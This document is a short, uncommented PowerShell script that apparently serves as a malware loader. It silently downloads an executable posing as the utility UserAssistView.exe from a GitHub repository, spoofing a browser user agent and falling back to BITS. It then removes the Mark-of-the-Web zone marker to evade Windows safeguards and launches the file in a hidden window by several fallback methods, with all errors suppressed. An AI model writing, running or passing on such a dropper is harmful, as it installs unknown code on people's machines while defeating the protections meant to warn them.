$ErrorActionPreference='SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol=3072
$u='https://github.com/iendjd7-lgtm/-VladMelSM/raw/refs/heads/main/UserAssistView.exe'
$p=Join-Path $env:TEMP 'UserAssistView.exe'
$b=$null
try{$w=New-Object Net.WebClient;$w.Headers['User-Agent']='Mozilla/5.0';$b=$w.DownloadData($u)}catch{}
if(-not $b -or $b.Length -lt 100000){try{Start-BitsTransfer -Source $u -Destination $p;$b=[IO.File]::ReadAllBytes($p)}catch{}}
if(-not $b -or $b.Length -lt 100000 -or $b[0] -ne 77 -or $b[1] -ne 90){return}
[IO.File]::WriteAllBytes($p,$b)
try{Unblock-File -LiteralPath $p}catch{}
try{Remove-Item -LiteralPath ($p+':Zone.Identifier') -Force}catch{}
$ran=$false
try{if(Start-Process -FilePath $p -WorkingDirectory $env:TEMP -WindowStyle Hidden -PassThru){$ran=$true}}catch{}
if(-not $ran){try{$i=New-Object Diagnostics.ProcessStartInfo;$i.FileName=$p;$i.WorkingDirectory=$env:TEMP;$i.UseShellExecute=$true;$i.WindowStyle='Hidden';if([Diagnostics.Process]::Start($i)){$ran=$true}}catch{}}
if(-not $ran){cmd /c start "" "$p"}